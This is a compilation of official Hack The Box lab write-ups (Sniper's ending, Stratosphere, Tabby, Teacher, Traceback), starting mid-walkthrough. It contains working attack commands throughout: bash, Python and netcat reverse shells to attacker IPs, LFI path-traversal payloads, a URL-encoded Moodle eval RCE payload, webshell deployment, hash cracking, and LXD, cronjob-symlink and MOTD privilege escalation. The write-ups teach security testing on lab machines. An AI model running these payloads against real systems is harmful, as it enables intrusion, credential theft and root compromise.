Let's proceed to compile our HTML file. Click on the compile button in the tool bar.

We click compile when prompted. After waiting for a while our CHM file will be created in the
same folder.
Copy instructions.chm back to our Linux machine, copy it to /var/www/html and download it
from the server.

wget http://10.10.14.23/instructions.chm -o C:\Users\chris\instructions.chm

Open Responder on our local machine.

python Responder.py -I tun0

Next, let's copy instructions.chm into C:\Docs .

copy C:\Users\chris\instructions.chm C:\Docs

After a few seconds we will receive the Administrators hash in Responder.

Let's place it inside hash.txt and use hashcat to crack it.

hashcat -m 5600 --force hash.txt rockyou.txt

After a few seconds, it cracks and we see the password butterfly!#1. We can use Invoke-
Command to receive a shell as the local administrator.

Start a new Netcat listener and execute the following commands.


nc -lvp 5555

$password = convertto-securestring -AsPlainText -Force -String "butterfly!#1";


$credential = new-object -typename System.Management.Automation.PSCredential -
argumentlist "SNIPER\Administrator",$password;
Invoke-Command -ComputerName LOCALHOST -ScriptBlock { C:\Users\chris\nc.exe -e
cmd.exe 10.10.14.23 5555} -credential $credential;

We receive a shell as administrator, and can access the root flag on the desktop.
Stratosphere
24​th​ September 2018 / Document No D18.100.19
Prepared By: Alexander Reid (Arrexel)
Machine Author: linted
Difficulty: ​Medium
Classification: Official

Page 1 / 6
SYNOPSIS
Stratosphere focuses on the use of an Apache Struts code execution vulnerability which was
leveraged in a large-scale breach, resulting in the disclosure of millions of peoples’ credit
information.

Skills Required Skills Learned

● Basic/intermediate knowledge of Linux ● Identifying and Exploiting Apache


● Basic understanding of Python Struts
● Exploiting Sudo NOPASSWD
● Hijacking Python libraries

Page 2 / 6
Enumeration

Nmap

Nmap finds OpenSSH and Apache Tomcat running on the target.

Page 3 / 6
Dirbuster

Fuzzing finds a ​Monitoring​ directory, which redirects to a ​Welcome.action​ page. The .action
extension indicates that this is Apache Struts.

Page 4 / 6
Exploitation

Apache Struts

Exploit: ​https://github.com/mazen160/struts-pwn

Using the above exploit is very straightforward, however there is a fairly restrictive firewall that
prevents a basic reverse shell. Viewing the contents of ​db_connect​ in the current directory
exposes some MySQL credentials (admin:admin). Using this, it is possible to obtain the ​richard
user’s SSH password.

Page 5 / 6
Privilege Escalation

Python Library Hijacking

Running ​sudo -l ​reveals that richard is able to run ​/usr/bin/python* /home/richard/test.py​,


however richard does not have write permissions for the script.

Examining the script shows that ​hashlib​ is imported. By creating ​hashlib.py​ in the same directory,
python will import this module instead of the real hashlib and execute the contents.

Page 6 / 6
l

Tabby
6th October 2020 / Document No D20.101.115

Prepared By: bertolis

Machine Author: egre55

Difficulty: Easy

Classification: Official
Synopsis
Tabby is a easy difficulty Linux machine. Enumeration of the website reveals a second website
that is hosted on the same server under a different vhost. This website is vulnerable to Local File
Inclusion. Knowledge of the OS version is used to identify the tomcat-users.xml file location.
This file yields credentials for a Tomcat user that is authorized to use the /manager/text
interface. This is leveraged to deploy of a war file and upload a webshell, which in turn is used to
get a reverse shell. Enumeration of the filesystem reveals a password protected zip file, which can
be downloaded and cracked locally. The cracked password can be used to login to the remote
machine as a low privileged user. However this user is a member of the LXD group, which allows
privilege escalation by creating a privileged container, into which the host's filesystem is
mounted. Eventually, access to the remote machine is gained as root using SSH.

Skills Required
Web Enumeration
Linux Enumeration

Skills Learned
Tomcat Text Interface WAR File Upload
ZIP Cracking
LXD Abuse
Enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.188 | grep ^[0-9] | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.188

Nmap output reveals that this is a Ubuntu server, running SSH, Apache and Tomcat on their
default ports. Let's enumerate the website titled "Mega Hosting".

http://10.10.10.194/

This a website for a company that provides hosting services. Having a closer at the website, there
is a link stating that the company has recently recovered from a data breach. The link points to
http://megahosting.htb/news.php?file=statement . Let's add this domain name to the
/etc/hosts file.

sudo -- sh -c "echo '10.10.10.194 megahosting.htb' >> /etc/hosts"

Now let's click the link again.


We notice that we are being redirected to http://megahosting.htb/news.php?file=statement .
It's worth noting that statement seems to be a filename passed as input to the parameter file
of the page news.php . Let's check if this is vulnerable to Local File Inclusion (LFI), by trying to load
/etc/passwd .

http://megahosting.htb/news.php?file=/etc/passwd
http://megahosting.htb/news.php?file=../etc/passwd
http://megahosting.htb/news.php?file=../../etc/passwd
http://megahosting.htb/news.php?file=../../../etc/passwd
http://megahosting.htb/news.php?file=../../../../etc/passwd
Of the above payloads, ../../../../etc/passwd was successful. We note that ash is a system
user.

Let's try to access Tomcat on port 8080.

Scanning for hidden directories reveals the well-known Tomcat /manager page.

This is a default page that allows users to manage web applications. Tomcat's manager page
requires authentication.

Attempting to log in with common credentials like admin / admin is not successful. However, if
we click cancel we get a 401 Unauthorized message. This page reveals that the credentials are
in the file conf/tomcat-users.xml .
Let's search online for the default path of the Tomcat installation, in order to check if we can
access it through the LFI vulnerability.

According to the first result, and since our instance of tomcat is version 9, the default installation
directory is /usr/local/tomcat9 . Let's combine these information and try to access
conf/tomcat-users.xml from LFI vulnerability found earlier on Apache.

http://megahosting.htb/news.php?file=../../../../usr/share/tomcat9/conf/tomcat-
users.xml

Clicking CTRL + U to view the page source doesn't show any text. Unfortunately this request
returned a blank page. Let's check if the file tomcat-users.xml is located in a different path
inside Tomcat's default installation directory.

Clicking at the first result we can see the file structure of the directory /usr/share/tomcat9 .
This reveals that Tomcat stores the tomcat-users.xml file in the directory
/usr/share/tomcat9/etc . Let's try to access this file again. This time we can see the file
contents in the HTML source code.

view-source:http://megahosting.htb/news.php?
file=../../../../usr/share/tomcat9/etc/tomcat-users.xml
The file is found to contain the credentials tomcat / $3cureP4s5w0rd123! . As the roles xml
attribute shows that this user is a member of admin-gui and manager-script . The manager-gui
role that allows access to the /manager page is not assigned.
Foothold
Let's scan this URL and see if there are any files or directories hosted there.

wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404


http://10.10.10.194:8080/manager/FUZZ

Wfuzz reveals the above directories. We can search online for the /manager/text interface.

This returns Tomcat's official documentation, which states that commands can be executed
through this interface.
As the Tomcat user is assigned the manager-script role, we should be permitted to interact with
/manager/text . Let's try listing the available hosts on Tomcat.

USERNAME=tomcat
PASSWORD=\$3cureP4s5w0rd123!
curl -u ${USERNAME}:${PASSWORD} http://10.10.10.194:8080/manager/text/list

This is successful. It is also well-known that Tomcat deploys Java web applications. Let's check if
we can deploy a project using the text interface.
Searching online reveals official Tomcat documentation explaining how this can be done.

According to this, it is possible to create a war file and deploy it to the server. A war file is an
archived Java application. Let's download a JSP webshell and create the war file. In order to
create a war file we can use zip .

wget
https://gist.github.com/ErosLever/7445a3cfaaf80f1f5a53/archive/f14a53bd1095a387c
063466167d49c20bb94050a.zip
unzip f14a53bd1095a387c063466167d49c20bb94050a.zip
zip webshell.war 7445a3cfaaf80f1f5a53-
f14a53bd1095a387c063466167d49c20bb94050a/cmd.jsp

Now that we've archived the webshell, let's specify the file we want to upload, set the application
name to webshell and the update value to true , and try to deploy it.

SERNAME=tomcat
PASSWORD=\$3cureP4s5w0rd123!
curl -u ${USERNAME}:${PASSWORD} -T webshell.war
http://10.10.10.194:8080/manager/text/deploy?path=/webshell&update=true

Setting the update parameter to true , makes sure that any existing project will be undeployed
before the new deployment.
The file was deployed successfully. Let's try to access it from the browser.

http://10.10.10.194:8080/webshell/cmd.jsp

This is successful. We can execute commands on the remote machine as the user tomcat . Let's
start a listener on our local machine.

nc -lvp 5555

Then try to create a reverse shell, executing the following command from the webshell.

bash -i >& /dev/tcp/10.10.14.3/4444 0>&1

Getting a reverse shell using the above command didn't work. Let's create a reverse shell, start an
HTTP server locally and download it to the remote machine.

echo "0<&196;exec 196<>/dev/tcp/10.10.14.3/5555; sh <&196 >&196 2>&196" > shell


php -S 0.0.0.0:8000

From the webshell, input the following commands to download and run the script.
wget http://10.10.14.3:8000/shell-x64.elf -O /tmp/shell
chmod +x /tmp/shell
bash /tmp/shell

This is successful and we receive a reverse shell. We can now spawn a PTY shell using Python3.

python3 -c 'import pty; pty.spawn("/bin/bash")'


Lateral Movement
Enumeration of the directories and files reveals the archive
/var/www/html/16162020_backup.zip , that is owned by the user ash . Trying to unzip this file
returns a message prompting for a password.

We could download the zip file and try to crack the password locally. An easy way to do this is to
get a base64-encoded representation of the zip file, and decode it back on our local machine. We
use the -w0 option so that the output is returned in a continuous line.

base64 -w0 16162020_backup.zip

Copy the output and issue the following command to recreate the zip file locally. Replace with
your own output as appropriate.

echo "UEsDBAoAAAAAAIUDf0gAAAAAAAAAAAAAAAA<SNIP>" | base64 -d -w0 > backup.zip

Now we can try to crack the zip file using fcrackzip in a dictionary attack using the
rockyou.txt wordlist. We use the option -D to specify that this will be a dictionary attack, and -
u to specify the unzip process.

fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backup.zip


After some seconds, the password is found. Decompressing the backup.zip file using the
password admin@it reveals some files and directories from the web application. Since this zip
file is owned by user ash , let's try to login to the system using the credentials ash / admin@it .

su ash

This is successful and we have gained access to the system as ash . The user flag is located in
/home/ash/user.txt .
Privilege Escalation
Enumeration of the user reveals membership of the lxd group.

The lxd (Linux Daemon) is a system container manager, that controls lxc (Linux Container).
Linux Container (LXC) is a virtualization technology that runs isolated containers using a single
Linux kernel. It is possible for the user ash to create a privileged container and then use it to
mount the host filesystem. To achieve this, we can download an Alpine image, and then upload it
to the remote machine. Lets download and build the image locally. The image can be found here.

git clone https://github.com/saghul/lxd-alpine-builder.git


cd lxd-alpine-builder/
./build-alpine

A compressed file alpine-v3.12-x86_64-20201106_1855.tar.gz is created. Let's stand up an


HTTP server.

php -S 0.0.0.0:8000

Then download the file to the machine.


cd /home/ash
wget http://10.10.14.3:8000/alpine-v3.12-x86_64-20201106_2000.tar.gz

On the remote machine, run the following to initiate lxd , inputting no to all prompts.

lxd init

Next, we run the following command to import the alpine image.

lxc image import ./alpine-v3.12-x86_64-20201106_2000.tar.gz --alias alpine

To check if the image is successfully imported, type the following.

lxc image list


Next, we need to make the container privileged, and mount the filesystem, before starting the
container.

lxc init alpine mycontainer -c security.privileged=true


lxc config device add mycontainer mydevice disk source=/ path=/mnt/root
recursive=true
lxc start mycontainer

Once the container is started, we can access it by typing the following command.

lxc exec mycontainer /bin/sh

The container has been created successfully and we have root access on it. Enumeration of
/mnt/root reveals the private SSH key /root/.ssh/id_rsa . Use cat to display the contents.

cat /mnt/root/root/.ssh/id_rsa

On our local machine, we create a new file.

vim id_rsa

Then we paste the key and give the appropriate permissions to the file.

chmod 400 id_rsa

Finally, we execute the following command to connect as root

ssh -i id_rsa [email protected]


The root flag is located in /root/root.txt .
Teacher
13​th​ April 2019 / Document No D19.100.14
Prepared By: mrh4sh
Machine Author: Gioo
Difficulty: ​Medium
Classification: Official

Page 1 / 16
SYNOPSIS
Teacher is a ​"​medium​"​ difficulty machine, which teaches techniques for identifying and exploiting
logical flaws and vulnerabilities of outdated modules within popular CMS (in this instance
Moodle), enumeration of sensitive information within the backend database and leverage
misconfigurations on the operating system, which lead to a complete compromise of a system.

Skills Required Skills Learned

● Basic Linux Knowledge ● Website Enumeration


● Basic MySQL Knowledge ● Password Brute-Forcing
● Moodle Quiz Module Exploitation
● Database Enumeration
● Password Cracking
● Linux Symlink Misconfiguration

Page 2 / 16
Enumeration

Nmap
# nmap -sSVC -n -v -p​-​ 10.10.10.153 -oA nmap-syn-version-script-full-tcp-10.10.10.153
[...]
NSE: Script scanning 10.10.10.153.
Initiating NSE at 09:28
Completed NSE at 09:28, 1.65s elapsed
Initiating NSE at 09:28
Completed NSE at 09:28, 0.00s elapsed
Nmap scan report for 10.10.10.153
Host is up (0.085s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.25 ((Debian))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Blackhat highschool

NSE: Script Post-scanning.


Initiating NSE at 09:28
Completed NSE at 09:28, 0.00s elapsed
Initiating NSE at 09:28
Completed NSE at 09:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
.
Nmap done: 1 IP address (1 host up) scanned in 89.42 seconds
Raw packets sent: 1664 (73.192KB) | Rcvd: 1391 (95.275KB)

Nmap output shows that only port available is the HTTP service. The version of the web server
running is ​Apache httpd 2.4.25 ((Debian)).​ As the banner suggests, the web server is running on a
Linux Debian distribution.

Page 3 / 16
Web Enumeration

The web server is examined and a static web page is shown, describing the service as a web
portal of a school used by teachers and students. One of the announcements of the web page
that the school has implemented a new portal where students can submit their homework and
teachers could review it.

The enumeration leads to the page of the teachers, where it is visible that one of the images is
not rendered.

Further analysis to the source code shows that the link to the image is valid, but the content is not
an image; it’s actually a message from one of the users to the ServiceDesk team.

Page 4 / 16
Part of the password of the user ​Giovanni i​ s found.

A directory search to the main URL shows that the CMS ​Moodle ​is running on the web server,
reachable from the following URL:

http://10.10.10.153/moodle/

Page 5 / 16
Based on the message previously discovered, the user is able to authenticate on Moodle CMS as
user ​Giovanni​ performing a brute-force attack in order to complete the password previously
discovered.

Therefore, the valid credentials discovered are the following:

giovanni:Th4C00lTheacha#

Page 6 / 16
Foothold

CVE-2018-1133 Exploitation

An analysis of the Moodle CMS running on the web server shows that an outdated vulnerable
module is installed. This allows an attacker to leverage the vulnerability which affects the ​quiz
​ r​ CVE-2018-1133.​ The module allows a user with role
module, also known as ​Evil Teacher o
teacher t​ o create a quiz with many types of questions for users with ​student r​ ole. In order to
prevent users with student role to cheat and share their results there will be question which
allows a user with teacher role to enter a mathematical formula along with all the other questions,
which will be then evaluated by Moodle dynamically on randomized input variables. The file
questiontype.php​ from Moodle uses the function ​eval()​ in order to evaluate the answer provided
for the aforementioned question, and the lack of input sanitization allows the input to be
executed by the function, resulting in a Remote Code Execution through arbitrary PHP input
code.

## Snippet from source of


“/var/www/html/moodle/question/type/calculated/questiontype.php”

public function substitute_variables_and_eval($str, $dataset) {


$formula = $this->substitute_variables($str, $dataset);
if ($error = qtype_calculated_find_formula_errors($formula)) {
return $error;
}
// Calculate the correct answer.
if (empty($formula)) {
$str = '';
} else if ($formula === '*') {
$str = '*';
} else {
$str = null;
eval('$str = '.$formula.';'); // ← vulnerable code
}
return $str;
}

To be noted that the user ​Giovanni ​is found to be having the role ​teacher,​ which allows him to
create a quiz and to leverage the vulnerability in order to get a shell on the system.

Page 7 / 16
A dummy quiz is created filling all the mandatory fields.

A new ​calculated​ type question is added in order to inject arbitrary PHP code in the answer of
the question, in order to perform a Remote Code Execution.

Page 8 / 16
In the following example, the payload ​/*{a*/`$_GET[0]`;//{x}}​ is added.

Once the question has been added, the following parameter has to be appended in querystring
at the end of the URL of the quiz in order to perform a Remote Code Execution. The payload has
to be URL encoded, like in the following example:

http://10.10.10.153/moodle/question/question.php?returnurl=%2Fmod%2Fquiz%2Fedit.php
%3Fcmid%3D7%26addonpage%3D0&appendqnumstring=addquestion&scrollpos=0&id=6&wizardnow
=datasetitems&cmid=7&0=%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d
%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3
e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%34%2e%32%20%39%30%30%31%20%3e%2f%74%6d%70%
2f%66

Page 9 / 16
Database Inspection

An analysis of the ​config.php​ file within the Moodle CMS directory on the file system shows the
credentials of the backend database.

www-data@teacher:/var/www/html/moodle$ cat config.php


cat config.php
<?php // Moodle configuration file

unset($CFG);
global $CFG;
$CFG = new stdClass();

$CFG->dbtype = 'mariadb';
$CFG->dblibrary = 'native';
$CFG->dbhost = 'localhost';
$CFG->dbname = 'moodle';
$CFG->dbuser = 'root';
$CFG->dbpass = 'Welkom1!';
$CFG->prefix = 'mdl_';
$CFG->dboptions = array (
'dbpersist' => 0,
'dbport' => 3306,
'dbsocket' => '',
'dbcollation' => 'utf8mb4_unicode_ci',
);

$CFG->wwwroot = 'http://10.10.10.153/moodle';
$CFG->dataroot = '/var/www/moodledata';
$CFG->admin = 'admin';

$CFG->directorypermissions = 0777;

require_once(__DIR__ . '/lib/setup.php');

// There is no php closing tag in this file,


// it is intentional because it prevents trailing whitespace problems!

The credentials retrieved are the following:

root:Welkom1!

Page 10 / 16
This allows an analysis of the backend database of the Moodle CMS, which is then found to
contain what it seems to be a backup account for the user ​Giovanni​ within the ​mdl_user ​table of
the database ​moodle:​

www-data@teacher:/var/www/html/moodle$ mysql -u root -p


mysql -u root -p
Enter password: Welkom1!

Welcome to the MariaDB monitor. Commands end with ; or \g.


Your MariaDB connection id is 73
Server version: 10.1.26-MariaDB-0+deb9u1 Debian 9.1

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;


show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| moodle |
| mysql |
| performance_schema |
| phpmyadmin |
+--------------------+
5 rows in set (0.00 sec)

MariaDB [(none)]> use moodle;


use moodle;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changeds
MariaDB [moodle]>show tables;
show tables;
+----------------------------------+
| Tables_in_moodle |
+----------------------------------+
[...]
| mdl_user |

Page 11 / 16
[...]
+----------------------------------+
388 rows in set (0.01 sec)

MariaDB [moodle]> SELECT * from mdl_user\G


SELECT * from mdl_user\G
[...]
*************************** 4. row ***************************
id: 1337
auth: manual
confirmed: 0
policyagreed: 0
deleted: 0
suspended: 0
mnethostid: 0
username: Giovannibak
password: 7a860966115182402ed06375cf0a22af
idnumber:
firstname:
[...]
4 rows in set (0.00 sec)

The details above show that the MD5 password hash of the backup user ​Giovannibak​ are
different from the other password hashes.

A dictionary based attack is performed in order to crack the MD5 password hash of the
aforementioned user, resulting in the following credentials to be discovered:

Giovannibak:7a860966115182402ed06375cf0a22af:expelled

# hashcat --force Giovannibak.hash /usr/share/wordlists/rockyou.txt


hashcat (pull/1273/head) starting...

OpenCL Platform #1: The pocl project


====================================
* Device #1: pthread-Intel(R) Core(TM) i5-8259U CPU @ 2.30GHz, 1024/2951 MB
allocatable, 1MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts


Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Page 12 / 16
Applicable optimizers:
* Zero-Byte
* Precompute-Init
* Precompute-Merkle-Demgard
* Meet-In-The-Middle
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

Watchdog: Hardware monitoring interface not found on your system.


Watchdog: Temperature abort trigger disabled.
Watchdog: Temperature retain trigger disabled.

* Device #1: build_opts '-I /usr/share/hashcat/OpenCL -D VENDOR_ID=64 -D


CUDA_ARCH=0 -D VECT_SIZE=8 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=3 -D
DGST_R2=2 -D DGST_R3=1 -D DGST_ELEM=4 -D KERN_TYPE=0 -D _unroll -cl-std=CL1.2'
* Device #1: Kernel m00000_a0.0d926ba6.kernel not found in cache! Building may
take a while...
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14343297
* Runtime...: 1 sec

- Device #1: autotuned kernel-accel to 1024


- Device #1: autotuned kernel-loops to 1
[s]tatus [p]ause [r]esume [b]ypass [c]heckpoint [q]uit => [s]tatus [p]ause
[r]esume [b]ypass [c]heckpo7a860966115182402ed06375cf0a22af:expelled

Session..........: hashcat
Status...........: Cracked
Hash.Type........: MD5
Hash.Target......: 7a860966115182402ed06375cf0a22af
Time.Started.....: Tue Apr 16 10:47:07 2019 (0 secs)
Time.Estimated...: Tue Apr 16 10:47:07 2019 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....: 2317.8 kH/s (0.38ms)
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts

Page 13 / 16
Progress.........: 956439/14343297 (6.67%)
Rejected.........: 23/956439 (0.00%)
Restore.Point....: 955415/14343297 (6.66%)
Candidates.#1....: ezra23 -> ethanwa
HWMon.Dev.#1.....: N/A

Started: Tue Apr 16 10:47:01 2019


Stopped: Tue Apr 16 10:47:08 2019

These credentials are then found to be valid for the user ​giovanni ​within the system, therefore
the content of the user flag can be gained.

www-data@teacher:/home$ ls -l
ls -l
total 4
drwxr-x--- 4 giovanni giovanni 4096 Nov 4 19:47 giovanni
www-data@teacher:/home$ cd giovanni
cd giovanni
bash: cd: giovanni: Permission denied
www-data@teacher:/home$ su - giovanni
su - giovanni
Password: expelled

giovanni@teacher:~$ cat user.txt


cat user.txt
fa9ae187462530e841d9e61936648fa7
giovanni@teacher:~$

Page 14 / 16
Post-Exploitation

Upgrade from telnet shell

The session as user ​giovanni ​shows that two folders are available in the home directory. ​The
directory ​courses​ ​contains answers of algebra tests, and the directory ​tmp​ ​contains an archived backup
of courses and an extracted directory of the archived file. The backup process is handled by a cronjob
with user ​root.​

Further enumeration of the system shows that the ​/usr/bin/ ​directory contains a file called ​backup.sh.

giovanni@teacher:~$ cat /usr/bin/backup.sh


cat /usr/bin/backup.sh
#!/bin/bash
cd /home/giovanni/work;
tar -czvf tmp/backup_courses.tar.gz courses/*;
cd tmp;
tar -xf backup_courses.tar.gz;
chmod 777 * -R;

Above is the content the script, which instructs the system to:

1) browse to the directory /home/giovanni/work


2) create an archive with the content of the courses directory
3) browse to /home/giovanni/work/tmp
4) extract the content of the archive
5) Provide read and write permissions to ​everybody​ on the /home/giovanni/work/tmp directory
and subdirectories.

The aforementioned steps show that the script can be leveraged in order to retrieve the content of the
/root ​folder and gain the root flag. The ​courses d
​ irectory can be renamed or deleted due to weak
permission, and be replaced with a symlink pointing to the ​/root ​directory, where the script would then
create an archive of the content and extract it into /home/giovanni/work/tmp.

Page 15 / 16
giovanni@teacher:~/work$ ls -l
lrwxrwxrwx 1 giovanni giovanni 5 Apr 16 17:00 courses
drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 2018 tmp
giovanni@teacher:~/work$ mv courses courses.bak
mv courses courses.bak
giovanni@teacher:~/work$ ls -l
ls -l
total 8
drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 2018 courses.bak
drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 2018 tmp
giovanni@teacher:~/work$ ln -s /root courses
ln -s /root courses
giovanni@teacher:~/work$ ls -l
ls -l
total 8
lrwxrwxrwx 1 giovanni giovanni 5 Apr 16 17:00 courses -> /root
drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 2018 courses.bak
drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 2018 tmp

Once the cronjob runs the script, it is then possible to gain the root flag.

giovanni@teacher:~/work$ cd tmp
cd tmp
giovanni@teacher:~/work/tmp$ ls -l
ls -l
total 8
-rwxrwxrwx 1 root root 150 Apr 16 17:01 backup_courses.tar.gz
drwxrwxrwx 3 root root 4096 Apr 16 17:01 courses
giovanni@teacher:~/work/tmp$ cd courses
cd courses
giovanni@teacher:~/work/tmp/courses$ ls -l
ls -l
total 8
drwxrwxrwx 2 root root 4096 Jun 27 2018 algebra
-rwxrwxrwx 1 root root 33 Jun 27 2018 root.txt
giovanni@teacher:~/work/tmp/courses$ cat root.txt
cat root.txt
4f3a83b42ac7723a508b8ace7b8b1209

Page 16 / 16
Traceback
23th March 2020 / Document No D20.100.68

Prepared By: TRX

Machine Author: Xh4H

Difficulty: Easy

Classification: Official
Synopsis
Traceback is an easy difficulty machine that features an Apache web server. A PHP web shell
uploaded by a hacker is accessible and can be used to gain command execution in the context of
the webadmin user. This user has the privilege to run a tool called luvit , which executes Lua
code as the sysadmin user. Finally, the Sysadmin user has write permissions to the update-motd
file. This file is run as root every time someone connects to the machine through SSH. This is
used to escalate privileges to root.

Skills Required
Enumeration
Lua coding

Skills Learned
SSH Motd Editing
Enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.181 | grep ^[0-9] | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.181

The scan reveals that SSH and Apache are available on their default ports. There is a website with
the title Help us , let's check it out in a web browser.

The website has been hacked, and the message refers to a backdoor being present. Viewing the
source code of the page we can see the following comment.

<!--Some of the best web shells that you might need ;)-->

So it seems the hacker has left a web shell on the website. We also run a GoBuster scan, but this
doesn't reveal any interesting files.
Foothold
Searching for the above HTML comment bring us to this GitHub repo, which contains various well
known web shells. In order to test which ones exist, we can navigate to Find File on GitHub,
copy the file names and paste them in a text file.

alfa3.php
alfav3.0.1.php
andela.php
bloodsecv4.php
by.php
c99ud.php
cmd.php
configkillerionkros.php
jspshell.jsp
mini.php
obfuscated-punknopass.php
punk-nopass.php
punkholic.php
r57.php
smevk.php
wso2.8.5.php

We can then use gobuster to see if any of them exist.

gobuster dir -u http://10.10.10.181 -w words.txt

We find that smevk.php does exist. The web shell requires a username and a password in order
to access it. Examination of the webshell source reveals that the default credentials are admin :
admin . This works and we now have access to the shell.
At the bottom-left of the page there is the functionality to execute system commands.

We can use this functionality to gain a reverse shell.

Reverse Shell
The version of Netcat on the machine doesn't support the -e flag. Let's see if Python is installed:
which python . This doesn't return any output, which means Python 2 is not installed. However,
which python3 returns /usr/bin/python3 . We can use this to get a reverse shell:

python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec
t(("10.10.14.38",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' &

Start a Netcat listener and input the Python command in the code execution part of the page.

nc -lvp 1234

We receive a shell as the user webadmin .


Lateral Movement
Navigating to the webmaster user's home directory we see a note.txt , which has the following
contents.

- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.

We can also view the user's bash history at /home/webadmin/.bash_history , which reveals the
following. It seems we are following in the footsteps of the hack, who didn't remove traces of
their presence.

nano privesc.lua
sudo -u sysadmin /home/sysadmin/luvit privesc.lua
rm privesc.lua

Let's see if we can run any commands with sudo.

sudo -l

We are allowed to run /home/sysadmin/luvit as the user sysadmin .

luvit is a tool that executes lua code. Since we can run it as sysadmin , it is possible to get a
shell as this user with the commands below.

echo "require('os');" > priv.lua


echo "os.execute('/bin/bash');" >> priv.lua

Next, execute the file using luvit .

sudo -u sysadmin /home/sysadmin/luvit ./priv.lua

We can use bash -i to get a better shell after executing the lua code, and gain the user.txt in
/home/sysadmin/ .
Privilege Escalation
SSH
It would now be a good idea to generate SSH credentials for the sysadmin user, in order to
upgrade our shell. We can generate them locally with ssh-keygen . We can use the default values.
Copy the contents of id_rsa.pub and input this into /home/sysadmin/.ssh/authorized_keys .

echo "ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQCWXfZJrYB8Gcb1Bz2xDdytY5zAVIapfJwKXxH3nCSLfv2zOsjL
EJ7vb4T95JkuKpcaHSSN2wWLtaBIISlWjRXcZ2ChbnzTwde2Tt4fEfISkxHjPCG9rXZpOh3Eptp/Uy1i
LCcj/0KM9+ohJrSaj+Nw5msZ8G+ZKzXeQJk96VMIhkR6lkZXDri4trbwmR/4AYKo5UZA4dQGsgis0yOG
sr3xq2a7lou0tjQsf+WJVCTEaHYleRceDCWOF6x2laFRSMFtV73+einY4gohCX3QNe5lTeOJoYhzo4Ju
MRkZbuWHjbpkdJbYAEYFtBrVo7daBMeFHTGrLRyIt7iY7qF3p21H" >>
/home/sysadmin/.ssh/authorized_keys

After setting the permissions of id_rsa to 400, we gain access over SSH.

chmod 400 id_rsa


ssh -i id_rsa [email protected]

pspy
In order to enumerate the system processes we can use PsPy64. We can upload it on the server
using our Apache server. Enter the following commands on our local machine:

sudo mv pspy64 /var/www/html


sudo service apache2 start

Then on the server:

wget <your ip>/pspy64


chmod +x pspy64
./pspy64

pspy reveals reveals the following command is being run on the server every 30 seconds.

/bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/

MOTD
We can check the permissions of those folders. It seems that the group owner of /etc/update-
motd.d/ is sysadmin .

ls -al /etc/update-motd.d/
The files inside that folder and specifically 00-header are responsible for what message appears
when you SSH into the machine. We find the following line, which appeared when we logged into
the machine.

echo "\nWelcome to Xh4H land \n"

Any code in that file will be run as the root account since the ssh-server service is run as root.
Therefore we can add malicious code into that file, which will get executed by the next SSH
session. We will have to do this quickly, as we saw from pspy that the files are restored every 30
seconds.

python3 -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec
t(("10.10.14.38",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' &

We use & to background the task, so as not to block the SSH server. Without backgrounding the
task, the server would wait for the execution of the code to finish (when the shell was closed),
which would block SSH for other users.

Start a Netcat listener, and log back in over SSH.

nc -lvp 4444
ssh -i id_rsa [email protected]

